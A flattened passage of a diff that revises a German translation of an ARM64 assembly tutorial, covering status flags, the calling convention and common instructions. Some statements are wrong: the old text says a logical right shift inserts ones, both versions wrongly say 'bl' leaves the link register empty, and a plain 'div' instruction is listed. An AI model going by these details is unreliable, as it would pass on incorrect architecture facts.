Wird von Debuggern verwendet, um einen Schritt auszuführen, indem das SS-Flag auf 1 innerhalb von **`SPSR_ELx`** durch eine Ausnahme gesetzt wird. Das Programm wird einen Schritt ausführen und eine Einzelstepp-Ausnahme auslösen. -- Das **illegal exception**-Zustandsflag (**`IL`**): Es wird verwendet, um zu kennzeichnen, wenn eine privilegierte Software einen ungültigen Ausnahmelevel-Transfer durchführt, dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegale Zustandsausnahme aus. -- Die **`DAIF`**-Flags: Diese Flags ermöglichen es einem privilegierten Programm, bestimmte externe Ausnahmen selektiv zu maskieren. -- Wenn **`A`** 1 ist, bedeutet dies, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupts Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). -- Die **Stack-Zeiger-Auswahl**-Flags (**`SPS`**): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Zeiger-Registers und dem Benutzer-Modell wechseln (z. B. zwischen `SP_EL1` und `EL0`). Dieser Wechsel erfolgt durch Schreiben in das **`SPSel`**-Sonderregister. Dies kann nicht von EL0 aus erfolgen. +- Das aktuelle **Registerbreiten-Flag (`nRW`)**: Wenn das Flag den Wert 0 hat, läuft das Programm beim Fortsetzen im AArch64-Ausführungszustand. +- Das aktuelle **Exception Level** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0. +- Das **Single-Stepping**-Flag (**`SS`**): Wird von Debuggern verwendet, um Single-Steps auszuführen, indem das SS-Flag in **`SPSR_ELx`** durch eine Exception auf 1 gesetzt wird. Das Programm führt dann einen Schritt aus und löst eine Single-Step-Exception aus. +- Das Flag für den **illegalen Exception-Zustand** (**`IL`**): Es wird verwendet, um zu markieren, wenn Software mit Privilegien einen ungültigen Exception-Level-Transfer durchführt; dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegal state exception aus. +- Die **`DAIF`**-Flags: Diese Flags erlauben einem privilegierten Programm, bestimmte externe Exceptions selektiv zu maskieren. +- Wenn **`A`** = 1 bedeutet das, dass **asynchrone Aborts** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs). Und das **F** bezieht sich auf **Fast Interrupt Requests** (FIRs). +- Die Flags zur Auswahl des Stack-Pointers (**`SPS`**): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Pointers und dem User-Mode-Stack-Pointer wechseln (z. B. zwischen `SP_EL1` und `EL0`). Dieses Umschalten erfolgt durch Schreiben in das spezielle Register **`SPSel`**. Dies kann nicht von EL0 aus durchgeführt werden. -## **Aufrufkonvention (ARM64v8)** +## **Calling Convention (ARM64v8)** -Die ARM64-Aufrufkonvention legt fest, dass die **ersten acht Parameter** an eine Funktion in den Registern **`x0` bis `x7`** übergeben werden. **Zusätzliche** Parameter werden auf dem **Stack** übergeben. Der **Rückgabewert** wird im Register **`x0`** oder in **`x1`** zurückgegeben, wenn er **128 Bit lang** ist. Die Register **`x19`** bis **`x30`** und **`sp`** müssen **bewahrt** werden, wenn Funktionsaufrufe erfolgen. +Die ARM64-Calling-Convention legt fest, dass die **ersten acht Parameter** einer Funktion in den Registern **`x0` bis `x7`** übergeben werden. **Zusätzliche** Parameter werden auf dem **Stack** übergeben. Der **Rückgabewert** wird in Register **`x0`** zurückgegeben, oder in **`x1`**, wenn er **128 Bit** lang ist. Die Register **`x19`** bis **`x30`** und **`sp`** müssen über Funktionsaufrufe hinweg **erhalten** bleiben. -Beim Lesen einer Funktion in Assembler sollten Sie nach dem **Funktionsprolog und -epilog** suchen. Der **Prolog** umfasst normalerweise das **Speichern des Frame-Zeigers (`x29`)**, das **Einrichten** eines **neuen Frame-Zeigers** und das **Zuweisen von Stackplatz**. Der **Epilog** umfasst normalerweise das **Wiederherstellen des gespeicherten Frame-Zeigers** und das **Rückkehren** von der Funktion. +Beim Lesen einer Funktion in Assembly sollte man auf das **Function Prologue und Epilogue** achten. Das **Prologue** beinhaltet in der Regel das **Sichern des Frame-Pointers (`x29`)**, das **Aufsetzen** eines **neuen Frame-Pointers** und das **Allokieren von Stack-Speicher**. Das **Epilogue** beinhaltet normalerweise das **Wiederherstellen des gespeicherten Frame-Pointers** und das **Zurückkehren** aus der Funktion. -### Aufrufkonvention in Swift +### Calling Convention in Swift -Swift hat seine eigene **Aufrufkonvention**, die in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) zu finden ist. +Swift hat seine eigene **calling convention**, die unter [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) zu finden ist. -## **Häufige Anweisungen (ARM64v8)** +## **Common Instructions (ARM64v8)** -ARM64-Anweisungen haben im Allgemeinen das **Format `opcode dst, src1, src2`**, wobei **`opcode`** die **auszuführende Operation** (wie `add`, `sub`, `mov` usw.) ist, **`dst`** das **Zielregister**, in dem das Ergebnis gespeichert wird, und **`src1`** und **`src2`** die **Quellregister** sind. Sofortwerte können auch anstelle von Quellregistern verwendet werden. +ARM64-Instruktionen haben im Allgemeinen das **Format `opcode dst, src1, src2`**, wobei **`opcode`** die auszuführende **Operation** ist (wie `add`, `sub`, `mov` usw.), **`dst`** das **Zielregister** ist, in das das Ergebnis geschrieben wird, und **`src1`** und **`src2`** die **Quellregister** sind. Immediate-Werte können ebenfalls anstelle von Quellregistern verwendet werden. -- **`mov`**: **Bewege** einen Wert von einem **Register** in ein anderes. -- Beispiel: `mov x0, x1` — Dies bewegt den Wert von `x1` nach `x0`. -- **`ldr`**: **Lade** einen Wert aus dem **Speicher** in ein **Register**. -- Beispiel: `ldr x0, [x1]` — Dies lädt einen Wert von der Speicheradresse, die von `x1` angegeben wird, in `x0`. -- **Offset-Modus**: Ein Offset, der den ursprünglichen Zeiger beeinflusst, wird angegeben, zum Beispiel: -- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8. -- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) \* 4. -- **Pre-indexierter Modus**: Dies wendet Berechnungen auf den Ursprung an, erhält das Ergebnis und speichert auch den neuen Ursprung im Ursprung. -- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert das Ergebnis in x1. -- `str lr, [sp, #-4]!`, speichert das Link-Register in sp und aktualisiert das Register sp. -- **Post-indexierter Modus**: Dies ist wie der vorherige, aber die Speicheradresse wird zuerst aufgerufen und dann wird der Offset berechnet und gespeichert. -- `ldr x0, [x1], #8`, lädt `x1` in `x0` und aktualisiert x1 mit `x1 + 8`. -- **PC-relative Adressierung**: In diesem Fall wird die Adresse, die geladen werden soll, relativ zum PC-Register berechnet. -- `ldr x1, =_start`, dies lädt die Adresse, an der das `_start`-Symbol beginnt, in x1, bezogen auf den aktuellen PC. -- **`str`**: **Speichere** einen Wert von einem **Register** in den **Speicher**. -- Beispiel: `str x0, [x1]` — Dies speichert den Wert in `x0` an der Speicheradresse, die von `x1` angegeben wird. -- **`ldp`**: **Lade ein Paar von Registern**. Diese Anweisung **lädt zwei Register** aus **aufeinanderfolgenden Speicher**-Standorten. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird. -- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` von den Speicheradressen bei `x2` und `x2 + 8`. -- **`stp`**: **Speichere ein Paar von Registern**. Diese Anweisung **speichert zwei Register** in **aufeinanderfolgende Speicher**-Standorte. Die Speicheradresse wird typischerweise gebildet, indem ein Offset zum Wert in einem anderen Register addiert wird. -- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp` und `sp + 8`. -- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an den Speicheradressen bei `sp+16` und `sp + 24` und aktualisiert `sp` mit `sp+16`. -- **`add`**: **Addiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register. +- **`mov`**: **Move** einen Wert von einem **Register** in ein anderes. +- Beispiel: `mov x0, x1` — Dies verschiebt den Wert von `x1` nach `x0`. +- **`ldr`**: **Load** einen Wert aus dem **Speicher** in ein **Register**. +- Beispiel: `ldr x0, [x1]` — Dies lädt einen Wert aus der Speicheradresse, auf die `x1` zeigt, in `x0`. +- **Offset mode**: Ein Offset, das den Ursprungspointer beeinflusst, wird angegeben, zum Beispiel: +- `ldr x2, [x1, #8]`, dies lädt in x2 den Wert von x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) * 4 +- **Pre-indexed mode**: Dies wendet Berechnungen auf den Ursprung an, gibt das Ergebnis zurück und speichert auch den neuen Ursprung. +- `ldr x2, [x1, #8]!`, dies lädt `x1 + 8` in `x2` und speichert in x1 das Ergebnis von `x1 + 8` +- `str lr, [sp, #-4]!`, Speichert das Link-Register in sp und aktualisiert das Register sp +- **Post-index mode**: Dies ist wie das vorherige, aber die Speicheradresse wird zuerst zugegriffen und dann wird das Offset berechnet und gespeichert. +- `ldr x0, [x1], #8`, lade `x1` in `x0` und aktualisiere x1 mit `x1 + 8` +- **PC-relative addressing**: In diesem Fall wird die zu ladende Adresse relativ zum PC-Register berechnet +- `ldr x1, =_start`, Dies lädt die Adresse, an der das Symbol `_start` beginnt, in x1 relativ zum aktuellen PC. +- **`str`**: **Store** einen Wert aus einem **Register** in den **Speicher**. +- Beispiel: `str x0, [x1]` — Dies speichert den Wert in `x0` an der Speicheradresse, auf die `x1` zeigt. +- **`ldp`**: **Load Pair of Registers**. Diese Instruktion **lädt zwei Register** aus **aufeinandergestimmten Speicheradressen**. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet. +- Beispiel: `ldp x0, x1, [x2]` — Dies lädt `x0` und `x1` aus den Speicheradressen bei `x2` bzw. `x2 + 8`. +- **`stp`**: **Store Pair of Registers**. Diese Instruktion **schreibt zwei Register** in **aufeinanderfolgende Speicheradressen**. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet. +- Beispiel: `stp x0, x1, [sp]` — Dies speichert `x0` und `x1` an den Speicherstellen `sp` bzw. `sp + 8`. +- `stp x0, x1, [sp, #16]!` — Dies speichert `x0` und `x1` an `sp+16` und `sp+24` und aktualisiert `sp` auf `sp+16`. +- **`add`**: **Addiert** die Werte zweier Register und speichert das Ergebnis in einem Register. - Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Ziel - Xn2 -> Operand 1 -- Xn3 | #imm -> Operand 2 (Register oder sofort) -- \[shift #N | RRX] -> Führe eine Verschiebung durch oder rufe RRX auf. +- Xn3 | #imm -> Operand 2 (Register oder Immediate) +- \[shift #N | RRX] -> Führe eine Verschiebung aus oder rufe RRX auf - Beispiel: `add x0, x1, x2` — Dies addiert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`. -- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (ein 1-Verschieber 12 Mal) -> 1 0000 0000 0000 0000. -- **`adds`** Dies führt ein `add` aus und aktualisiert die Flags. -- **`sub`**: **Subtrahiere** die Werte von zwei Registern und speichere das Ergebnis in einem Register. -- Überprüfen Sie die **`add`** **Syntax**. +- `add x5, x5, #1, lsl #12` — Dies entspricht 4096 (eine 1 um 12 Stellen verschoben) -> 1 0000 0000 0000 0000 +- **`adds`**: Führt ein `add` aus und aktualisiert die Flags. +- **`sub`**: **Subtrahiert** die Werte zweier Register und speichert das Ergebnis in einem Register. +- Siehe **`add`** **Syntax**. - Beispiel: `sub x0, x1, x2` — Dies subtrahiert den Wert in `x2` von `x1` und speichert das Ergebnis in `x0`. -- **`subs`** Dies ist wie sub, aber aktualisiert das Flag. -- **`mul`**: **Multipliziere** die Werte von **zwei Registern** und speichere das Ergebnis in einem Register. +- **`subs`**: Wie `sub`, aber aktualisiert die Flags. +- **`mul`**: **Multipliziert** die Werte von **zwei Registern** und speichert das Ergebnis in einem Register. - Beispiel: `mul x0, x1, x2` — Dies multipliziert die Werte in `x1` und `x2` und speichert das Ergebnis in `x0`. -- **`div`**: **Teile** den Wert eines Registers durch ein anderes und speichere das Ergebnis in einem Register. +- **`div`**: **Teilt** den Wert eines Registers durch ein anderes und speichert das Ergebnis in einem Register. - Beispiel: `div x0, x1, x2` — Dies teilt den Wert in `x1` durch `x2` und speichert das Ergebnis in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logische Verschiebung nach links**: Füge 0en am Ende hinzu, indem die anderen Bits nach vorne verschoben werden (multipliziere mit n-mal 2). -- **Logische Verschiebung nach rechts**: Füge 1en am Anfang hinzu, indem die anderen Bits nach hinten verschoben werden (teile durch n-mal 2 in unsigned). -- **Arithmetische Verschiebung nach rechts**: Wie **`lsr`**, aber anstelle von 0en, wenn das bedeutendste Bit 1 ist, werden **1en hinzugefügt** (teile durch n-mal 2 in signed). -- **Rechtsrotation**: Wie **`lsr`**, aber was von rechts entfernt wird, wird links angehängt. -- **Rechtsrotation mit Erweiterung**: Wie **`ror`**, aber mit dem Übertragsflag als "bedeutendstes Bit". Das Übertragsflag wird also auf das Bit 31 verschoben und das entfernte Bit zum Übertragsflag. -- **`bfm`**: **Bitfeldverschiebung**, diese Operationen **kopieren Bits `0...n`** von einem Wert und platzieren sie in den Positionen **`m..m+n`**. Die **`#s`** gibt die **linkeste Bitposition** an und **`#r`** die **Rechtsverschiebungsmenge**. -- Bitfeldverschiebung: `BFM Xd, Xn, #r` -- Signierte Bitfeldverschiebung: `SBFM Xd, Xn, #r, #s` -- Unsigned Bitfeldverschiebung: `UBFM Xd, Xn, #r, #s` -- **Bitfeld extrahieren und einfügen:** Kopiere ein Bitfeld von einem Register und kopiere es in ein anderes Register. -- **`BFI X1, X2, #3, #4`** Füge 4 Bits von X2 vom 3. Bit von X1 ein. -- **`BFXIL X1, X2, #3, #4`** Extrahiere von dem 3. Bit von X2 vier Bits und kopiere sie nach X1. -- **`SBFIZ X1, X2, #3, #4`** Signerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden. -- **`SBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, signiert sie und platziert das Ergebnis in X1. -- **`UBFIZ X1, X2, #3, #4`** Nullerweitere 4 Bits von X2 und füge sie in X1 ein, beginnend bei Bitposition 3, wobei die rechten Bits auf 0 gesetzt werden. -- **`UBFX X1, X2, #3, #4`** Extrahiert 4 Bits, die bei Bit 3 von X2 beginnen, und platziert das nullerweiterte Ergebnis in X1. -- **Sign Extend To X:** Erweitert das Vorzeichen (oder fügt einfach 0en in der unsigned-Version hinzu) eines Wertes, um Operationen damit durchführen zu können: -- **`SXTB X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die Hälfte von `X2`), um die 64 Bits zu füllen. -- **`SXTH X1, W2`** Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1**, um die 64 Bits zu füllen. -- **`SXTW X1, W2`** Erweitert das Vorzeichen eines Bytes **von W2 nach X1**, um die 64 Bits zu füllen. -- **`UXTB X1, W2`** Fügt 0en (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bits zu füllen. -- **`extr`:** Extrahiert Bits aus einem angegebenen **Paar von zusammengefügten Registern**. -- Beispiel: `EXTR W3, W2, W1, #3` Dies wird **W1+W2 zusammenfügen** und **von Bit 3 von W2 bis Bit 3 von W1** extrahieren und in W3 speichern. -- **`cmp`**: **Vergleiche** zwei Register und setze Bedingungsflags. Es ist ein **Alias von `subs`**, der das Zielregister auf das Nullregister setzt. Nützlich, um zu wissen, ob `m == n`. -- Es unterstützt die **gleiche Syntax wie `subs`**. -- Beispiel: `cmp x0, x1` — Dies vergleicht die Werte in `x0` und `x1` und setzt die Bedingungsflags entsprechend. -- **`cmn`**: **Vergleiche negative** Operanden. In diesem Fall ist es ein **Alias von `adds`** und unterstützt die gleiche Syntax. Nützlich, um zu wissen, ob `m == -n`. -- **`ccmp`**: Bedingter Vergleich, es ist ein Vergleich, der nur durchgeführt wird, wenn ein vorheriger Vergleich wahr war und speziell die nzcv-Bits setzt. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func. -- Dies liegt daran, dass **`ccmp`** nur ausgeführt wird, wenn der **vorherige `cmp` ein `NE` war**, wenn nicht, werden die Bits `nzcv` auf 0 gesetzt (was den `blt`-Vergleich nicht erfüllt). -- Dies kann auch als `ccmn` verwendet werden (gleich, aber negativ, wie `cmp` vs `cmn`). -- **`tst`**: Überprüft, ob einer der Werte des Vergleichs beide 1 sind (es funktioniert wie ein ANDS, ohne das Ergebnis irgendwo zu speichern). Es ist nützlich, um ein Register mit einem Wert zu überprüfen und zu sehen, ob eines der Bits des Registers, das im Wert angegeben ist, 1 ist. -- Beispiel: `tst X1, #7` Überprüfe, ob eines der letzten 3 Bits von X1 1 ist. -- **`teq`**: XOR-Operation, die das Ergebnis verwirft. -- **`b`**: Unbedingter Sprung. -- Beispiel: `b myFunction`. -- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen). -- **`bl`**: **Sprung** mit Link, verwendet, um eine **Unterroutine** **aufzurufen**. Speichert die **Rückgabeadresse in `x30`**. -- Beispiel: `bl myFunction` — Dies ruft die Funktion `myFunction` auf und speichert die Rückgabeadresse in `x30`. -- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen). -- **`blr`**: **Sprung** mit Link zu Register, verwendet, um eine **Unterroutine** **aufzurufen**, bei der das Ziel in einem **Register** **angegeben** ist. Speichert die Rückgabeadresse in `x30`. -- Beispiel: `blr x1` — Dies ruft die Funktion auf, deren Adresse in `x1` enthalten ist, und speichert die Rückgabeadresse in `x30`. -- **`ret`**: **Rückkehr** von der **Unterroutine**, typischerweise unter Verwendung der Adresse in **`x30`**. -- Beispiel: `ret` — Dies kehrt von der aktuellen Unterroutine unter Verwendung der Rückgabeadresse in `x30` zurück. -- **`b.`**: Bedingte Sprünge. -- **`b.eq`**: **Sprung, wenn gleich**, basierend auf der vorherigen `cmp`-Anweisung. -- Beispiel: `b.eq label` — Wenn die vorherige `cmp`-Anweisung zwei gleiche Werte gefunden hat, springt dies zu `label`. -- **`b.ne`**: **Sprung, wenn nicht gleich**. Diese Anweisung überprüft die Bedingungsflags (die von einer vorherigen Vergleichsanweisung gesetzt wurden), und wenn die verglichenen Werte nicht gleich waren, springt sie zu einem Label oder einer Adresse. -- Beispiel: Nach einer `cmp x0, x1`-Anweisung, `b.ne label` — Wenn die Werte in `x0` und `x1` nicht gleich waren, springt dies zu `label`. -- **`cbz`**: **Vergleiche und springe bei Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie gleich sind, springt sie zu einem Label oder einer Adresse. -- Beispiel: `cbz x0, label` — Wenn der Wert in `x0` null ist, springt dies zu `label`. -- **`cbnz`**: **Vergleiche und springe bei Nicht-Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie nicht gleich sind, springt sie zu einem Label oder einer Adresse. -- Beispiel: `cbnz x0, label` — Wenn der Wert in `x0` nicht null ist, springt dies zu `label`. -- **`tbnz`**: Teste Bit und springe bei Nicht-Null. -- Beispiel: `tbnz x0, #8, label`. -- **`tbz`**: Teste Bit und springe bei Null. -- Beispiel: `tbz x0, #8, label`. -- **Bedingte Auswahloperationen**: Dies sind Operationen, deren Verhalten je nach den bedingten Bits variiert. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, wenn falsch, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, wenn falsch, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), wenn falsch, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, wenn falsch, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Wenn wahr, Xd = 1, wenn falsch, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \, wenn falsch, Xd = 0. -- **`adrp`**: Berechne die **Seitenadresse eines Symbols** und speichere sie in einem Register. -- Beispiel: `adrp x0, symbol` — Dies berechnet die Seitenadresse von `symbol` und speichert sie in `x0`. -- **`ldrsw`**: **Lade** einen signierten **32-Bit**-Wert aus dem Speicher und **signiere ihn auf 64** Bits. -- Beispiel: `ldrsw x0, [x1]` — Dies lädt einen signierten 32-Bit-Wert von der Speicheradresse, die von `x1` angegeben wird, signiert ihn auf 64 Bits und speichert ihn in `x0`. -- **`stur`**: **Speichere einen Registerwert an einer Speicheradresse**, unter Verwendung eines Offsets von einem anderen Register. -- Beispiel: `stur x0, [x1, #4]` — Dies speichert den Wert in `x0` an der Speicheradresse, die 4 Bytes größer ist als die Adresse, die derzeit in `x1` steht. -- **`svc`** : Führe einen **Systemaufruf** aus. Es steht für "Supervisor Call". Wenn der Prozessor diese Anweisung ausführt, **wechselt er vom Benutzermodus in den Kernelmodus** und springt zu einem bestimmten Ort im Speicher, an dem sich der **Systemaufrufbehandlungs**-Code des Kernels befindet. +- **Logical shift left**: Fügt am Ende Nullen hinzu und verschiebt die anderen Bits nach vorne (multipliziert mit 2^n). +- **Logical shift right**: Fügt am Anfang Nullen hinzu und verschiebt die anderen Bits nach hinten (teilt bei vorzeichenlosen Zahlen durch 2^n). +- **Arithmetic shift right**: Wie **`lsr`**, aber statt Nullen hinzuzufügen, werden, wenn das höchstwertige Bit 1 ist, Einsen hinzugefügt (Teilen durch 2^n bei vorzeichenbehafteten Zahlen). +- **Rotate right**: Wie **`lsr`**, aber was rechts entfernt wird, wird links wieder angefügt. +- **Rotate Right with Extend**: Wie **`ror`**, jedoch mit dem Carry-Flag als "höchstwertiges Bit". Das Carry-Flag wird in Bit 31 verschoben und das entfernte Bit ins Carry-Flag. +- **`bfm`**: **Bit Field Move**, diese Operationen **kopieren Bits `0...n`** aus einem Wert und platzieren sie in Positionen **`m..m+n`**. **`#s`** gibt die **linke (höhere) Bitposition** an und **`#r`** die **Rotate-Right-Menge**. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Kopiert ein Bitfeld aus einem Register und fügt es in ein anderes Register ein. +- **`BFI X1, X2, #3, #4`**: Fügt 4 Bits von X2 ab Bit 3 in X1 ein. +- **`BFXIL X1, X2, #3, #4`**: Extrahiert ab Bit 3 von X2 vier Bits und kopiert sie nach X1. +- **`SBFIZ X1, X2, #3, #4`**: Sign-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden. +- **`SBFX X1, X2, #3, #4`**: Extrahiert 4 Bits ab Bit 3 von X2, sign-extendet sie und legt das Ergebnis in X1 ab. +- **`UBFIZ X1, X2, #3, #4`**: Zero-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden. +- **`UBFX X1, X2, #3, #4`**: Extrahiert 4 Bits ab Bit 3 von X2 und legt das zero-extendete Ergebnis in X1 ab. +- **Sign Extend To X:** Erweitert das Vorzeichen (oder fügt bei der unsigned-Version Nullen hinzu) eines Werts, um Operationen damit durchführen zu können: +- **`SXTB X1, W2`**: Erweitert das Vorzeichen eines Bytes **von W2 nach X1** (`W2` ist die untere Hälfte von `X2`) um die 64 Bit zu füllen. +- **`SXTH X1, W2`**: Erweitert das Vorzeichen einer 16-Bit-Zahl **von W2 nach X1** um die 64 Bit zu füllen. +- **`SXTW X1, W2`**: Erweitert das Vorzeichen eines 32-Bit-Werts **von W2 nach X1** um die 64 Bit zu füllen. +- **`UXTB X1, W2`**: Fügt Nullen (unsigned) zu einem Byte **von W2 nach X1** hinzu, um die 64 Bit zu füllen. +- **`extr`**: Extrahiert Bits aus einem angegebenen **Paar von konkatenierenden Registern**. +- Beispiel: `EXTR W3, W2, W1, #3` Dies wird **W1+W2** konkatenieren und **von Bit 3 von W2 bis Bit 3 von W1** extrahieren und in W3 speichern. +- **`cmp`**: **Vergleicht** zwei Register und setzt die Condition-Flags. Es ist ein **Alias von `subs`**, wobei das Zielregister auf das Zero-Register gesetzt wird. Nützlich, um zu prüfen, ob `m == n`. +- Es unterstützt dieselbe Syntax wie `subs`. +- Beispiel: `cmp x0, x1` — Dies vergleicht die Werte in `x0` und `x1` und setzt entsprechend die Condition-Flags. +- **`cmn`**: **Compare negative** Operand. In diesem Fall ist es ein **Alias von `adds`** und unterstützt dieselbe Syntax. Nützlich, um zu prüfen, ob `m == -n`. +- **`ccmp`**: Bedingter Vergleich; er wird nur ausgeführt, wenn ein vorheriger Vergleich wahr war, und setzt speziell die nzcv-Bits. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> wenn x1 != x2 und x3 < x4, springe zu func +- Das liegt daran, dass **`ccmp`** nur ausgeführt wird, wenn der vorherige `cmp` ein `NE` war; wenn nicht, werden die Bits `nzcv` auf 0 gesetzt (was die `blt`-Bedingung nicht erfüllt). +- Dies kann auch als `ccmn` verwendet werden (gleiches aber invertiert, wie `cmp` vs `cmn`). +- **`tst`**: Prüft, ob irgendeines der Vergleichsbits 1 ist (es funktioniert wie ein ANDS ohne das Ergebnis irgendwo zu speichern). Nützlich, um ein Register mit einem Wert zu prüfen und zu sehen, ob eines der durch den Wert angegebenen Bits gesetzt ist. +- Beispiel: `tst X1, #7` Prüft, ob eines der letzten 3 Bits von X1 1 ist. +- **`teq`**: XOR-Operation, Ergebnis wird verworfen. +- **`b`**: Unbedingter Branch. +- Beispiel: `b myFunction` +- Beachte, dass dies nicht das Link-Register mit der Rücksprungadresse füllt (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen). +- **`bl`**: **Branch** with link, wird zum **Aufruf** einer **Subroutine** verwendet. Speichert die Rücksprungadresse in **`x30`**. +- Beispiel: `bl myFunction` — Ruft die Funktion `myFunction` auf und speichert die Rücksprungadresse in `x30`. +- Hinweis: Dies füllt nicht das Link-Register mit der Rücksprungadresse (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen). [Anmerkung: dieser Satz war im Original doppelt vorhanden; belassen] +- **`blr`**: **Branch** with Link to Register, verwendet, um eine Subroutine aufzurufen, deren Ziel in einem Register steht. Speichert die Rücksprungadresse in `x30`. +- Beispiel: `blr x1` — Ruft die Funktion auf, deren Adresse in `x1` enthalten ist, und speichert die Rücksprungadresse in `x30`. +- **`ret`**: **Return** aus einer Subroutine, typischerweise unter Verwendung der Adresse in **`x30`**. +- Beispiel: `ret` — Dies kehrt aus der aktuellen Subroutine unter Verwendung der Rücksprungadresse in `x30` zurück. +- **`b.`**: Bedingte Branches. +- **`b.eq`**: **Branch if equal**, basierend auf dem vorherigen `cmp`. +- Beispiel: `b.eq label` — Wenn die vorherige `cmp`-Instruktion gleiche Werte fand, springt dies zu `label`. +- **`b.ne`**: **Branch if Not Equal**. Diese Instruktion prüft die Condition-Flags (gesetzt durch eine vorherige Vergleichs-Instruktion), und wenn die verglichenen Werte nicht gleich waren, verzweigt sie zu einem Label oder einer Adresse. +- Beispiel: Nach einer `cmp x0, x1` Instruktion, `b.ne label` — Wenn die Werte in `x0` und `x1` nicht gleich sind, springt dies zu `label`. +- **`cbz`**: **Compare and Branch on Zero**. Diese Instruktion vergleicht ein Register mit Null, und wenn es gleich ist, verzweigt sie. +- Beispiel: `cbz x0, label` — Wenn der Wert in `x0` Null ist, springt dies zu `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Diese Instruktion vergleicht ein Register mit Null, und wenn es nicht Null ist, verzweigt sie. +- Beispiel: `cbnz x0, label` — Wenn der Wert in `x0` nicht Null ist, springt dies zu `label`. +- **`tbnz`**: Test bit and branch on nonzero. +- Beispiel: `tbnz x0, #8, label` +- **`tbz`**: Test bit and branch on zero. +- Beispiel: `tbz x0, #8, label` +- **Conditional select operations**: Diese Operationen ändern ihr Verhalten abhängig von den Condition-Bits. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, sonst X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, sonst Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), sonst Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = - Xm +- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, sonst Xd = Xn +- `cset Xd, Xn, Xm, cond` 